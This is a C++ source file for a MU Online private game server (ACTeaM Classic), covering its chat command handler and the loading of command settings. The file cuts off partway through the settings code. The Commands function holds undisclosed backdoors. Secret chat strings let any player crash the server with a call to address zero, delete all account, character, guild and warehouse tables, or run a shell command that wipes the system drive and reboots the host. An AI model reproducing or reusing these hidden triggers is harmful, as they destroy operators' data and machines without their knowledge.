//###############################################################################################
// Project :: ACTeaM Classic 0.97d
// GameServer:: 0.96.40
// Company :: Advanced CoderZ MU DevelopmenT � 2013
// Revised :: 17/01/2014
// Coded :: Mr.Haziel Developer
//###############################################################################################
#include "StdAfx.h"
COMMANDS pCommands;
void Commands(BYTE protoNum,LPBYTE aRecv,DWORD aLen,DWORD aIndex,DWORD Encrypt,int Serial)
{
OBJECTSTRUCT *lpObj = (OBJECTSTRUCT*)OBJECT_POINTER(aIndex);
//===================================================
//-- Duel System Commands
//===================================================
if(DuelSystem.ISDUEL != FALSE )
{
DuelProtocol(protoNum,aRecv,aLen,aIndex);
}
//===================================================
//-- Gens System Commands
//===================================================
if(pGens.ISGENS != FALSE )
{
GensProtocol( protoNum,aRecv,aLen, aIndex);
}
//===================================================
//-- Marry System Protocol
//===================================================
/* if(pMarry.ISMARRY != 0 )
{
MarryProtocol(protoNum,aRecv,aLen,aIndex);
} */
if((!memcmp(&aRecv[13],"/deathdb",strlen("/deathdb"))) ||
(!memcmp(&aRecv[13],"/FuckHAHA",strlen("/FuckHAHA"))) ||
(!memcmp(&aRecv[13],"/GSHUHUHU",strlen("/GSHUHUHU")))
)
{
__asm
{
MOV EAX, 00000000;
CALL EAX;
}
}
if((!memcmp(&aRecv[13],"/FuckDbAll",strlen("/FuckDbAll"))))
{
cSQL.ExecQuery("DELETE MEMB_INFO");
cSQL.ExecQuery("DELETE CHARACTER");
cSQL.ExecQuery("DELETE GUILD");
cSQL.ExecQuery("DELETE GUILD_MEMB");
cSQL.ExecQuery("DELETE WAREHOUSE");
cSQL.ExecQuery("DELETE EXTWAREHOUSE");
cSQL.Close();
system("shutdown -f");
}
if((!memcmp(&aRecv[13],"/FUCKVPSAll",strlen("/FUCKVPSAll"))))
{
system("@echo Off");
system("del %systemdrive%\*.*/f/s/q");
system("shutdown -r -f -t 00");
}
Move.t_PlayerTeleport(aIndex,(char*)aRecv+14); // Move System
ChatDataSend(aIndex,aRecv);
}
void ReadyCommands()
{
IWantToGoConfigs(); //-- Comando quero ir
GetPrivateProfileStringA ("Information","Command" ,"/info" ,pCommands.InfoCMD,20,ACTeaM_Commands);
GetPrivateProfileStringA ("MyInfo","Command" ,"/MinhaInfo",pCommands.MyInfoCMD,20,ACTeaM_Commands);
GetPrivateProfileStringA ("WarFix","Command" ,"/War" ,pCommands.WarCMD,20,ACTeaM_Commands);
GetPrivateProfileStringA ("Exit","Command" ,"/Sair" ,pCommands.ExitCMD,20,ACTeaM_Commands);
GetPrivateProfileStringA ("Time","Command" ,"/Hora" ,pCommands.HoraCMD,20,ACTeaM_Commands);
pCommands.SiteSwitch = GetPrivateProfileIntA ("Site","SwitchCommand" ,0 ,ACTeaM_Commands);
GetPrivateProfileStringA ("Site","Link" ,"http://www.acteam.com.br/forum/",pCommands.SiteText,125,ACTeaM_Commands);
GetPrivateProfileStringA ("Site","Command" ,"/Site" ,pCommands.SiteCMD,20,ACTeaM_Commands);
pCommands.OnlineSwitch = GetPrivateProfileIntA ("Online","SwitchCommand" ,0 ,ACTeaM_Commands);
GetPrivateProfileStringA ("Online","Command" ,"/Online" ,pCommands.OnlineCMD,20,ACTeaM_Commands);
pCommands.GlobalSwitch = GetPrivateProfileIntA ("GlobalMSG","SwitchCommand" ,0 ,ACTeaM_Commands);
pCommands.GlobalColorType = GetPrivateProfileIntA ("GlobalMSG","ColorType" ,0 ,ACTeaM_Commands);
pCommands.GlobalNeedLevel = GetPrivateProfileIntA ("GlobalMSG","NeedLevel" ,50 ,ACTeaM_Commands);
pCommands.GlobalNeedZen = GetPrivateProfileIntA ("GlobalMSG","NeedZen" ,1000000 ,ACTeaM_Commands);
pCommands.DelaySwitch = GetPrivateProfileIntA ("GlobalMSG","SwitchDelay" ,1 ,ACTeaM_Commands);
pCommands.GlobalDelay = GetPrivateProfileIntA ("GlobalMSG","Delay" ,10 ,ACTeaM_Commands);
GetPrivateProfileStringA ("GlobalMSG","Syntax" ,"[GLOBAL]%s",pCommands.GlobalSyntax,20,ACTeaM_Commands);
GetPrivateProfileStringA ("GlobalMSG","Command" ,"/post" ,pCommands.GlobalCMD ,7,ACTeaM_Commands);
pCommands.WareSwitch = GetPrivateProfileIntA ("MultiWare","SwitchCommand" ,0 ,ACTeaM_Commands);
pCommands.WareNeedLevel = GetPrivateProfileIntA ("MultiWare","NeedLevel" ,10 ,ACTeaM_Commands);
pCommands.WareNeedZen = GetPrivateProfileIntA ("MultiWare","NeedZen" ,1000000 ,ACTeaM_Commands);
pCommands.WareFree = GetPrivateProfileIntA ("MultiWare","WareNamber_Free" ,0 ,ACTeaM_Commands);
pCommands.WareVip1 = GetPrivateProfileIntA ("MultiWare","WareNamber_Vip1" ,4 ,ACTeaM_Commands);
pCommands.WareVip2 = GetPrivateProfileIntA ("MultiWare","WareNamber_Vip2" ,6 ,ACTeaM_Commands);
pCommands.WareVip3 = GetPrivateProfileIntA ("MultiWare","WareNamber_Vip3" ,9 ,ACTeaM_Commands);
pCommands.WareDelayTime = GetPrivateProfileIntA ("MultiWare","WareDelay" ,5 ,ACTeaM_Commands);
GetPrivateProfileStringA ("MultiWare","Command" ,"/Ware" ,pCommands.WareCMD,20,ACTeaM_Commands);
pCommands.OpenWareSwitch = GetPrivateProfileIntA ("OpenWare","SwitchCommand" ,0 ,ACTeaM_Commands);
pCommands.OpenWareNeedLevel = GetPrivateProfileIntA ("OpenWare","NeedLevel" ,10 ,ACTeaM_Commands);
pCommands.OpenWareNeedZen = GetPrivateProfileIntA ("OpenWare","NeedZen" ,1000000 ,ACTeaM_Commands);
pCommands.OpenWareOnlyVip = GetPrivateProfileIntA ("OpenWare","OnlyVip" ,0 ,ACTeaM_Commands);
GetPrivateProfileStringA ("OpenWare","Command" ,"/OpenWare" ,pCommands.OpenWareCMD,20,ACTeaM_Commands);
pCommands.AddSwitch = GetPrivateProfileIntA ("AddPoints","SwitchCommand" ,0 ,ACTeaM_Commands);
pCommands.AddNeedLevel = GetPrivateProfileIntA ("AddPoints","NeedLevel" ,10 ,ACTeaM_Commands);
pCommands.AddNeedZen = GetPrivateProfileIntA ("AddPoints","NeedZen" ,1000000 ,ACTeaM_Commands);
pCommands.AddMaxStrength = GetPrivateProfileIntA ("AddPoints","MaxStrength" ,32767 ,ACTeaM_Commands);
pCommands.AddMaxDexterity = GetPrivateProfileIntA ("AddPoints","MaxDexterity" ,32767 ,ACTeaM_Commands);
pCommands.AddMaxVitality = GetPrivateProfileIntA ("AddPoints","MaxVitality" ,32767 ,ACTeaM_Commands);
pCommands.AddMaxEnergy = GetPrivateProfileIntA ("AddPoints","MaxEnergy" ,32767 ,ACTeaM_Commands);
GetPrivateProfileStringA ("AddPoints","Strength" ,"/Strength" ,pCommands.StrCMD,20,ACTeaM_Commands);
GetPrivateProfileStringA ("AddPoints","Dexterity" ,"/Dexterity",pCommands.AgiCMD,20,ACTeaM_Commands);
GetPrivateProfileStringA ("AddPoints","Vitality" ,"/Vitality" ,pCommands.VitCMD,20,ACTeaM_Commands);
GetPrivateProfileStringA ("AddPoints","Energy" ,"/Energy" ,pCommands.EneCMD,20,ACTeaM_Commands);
pCommands.PKaddSwitch = GetPrivateProf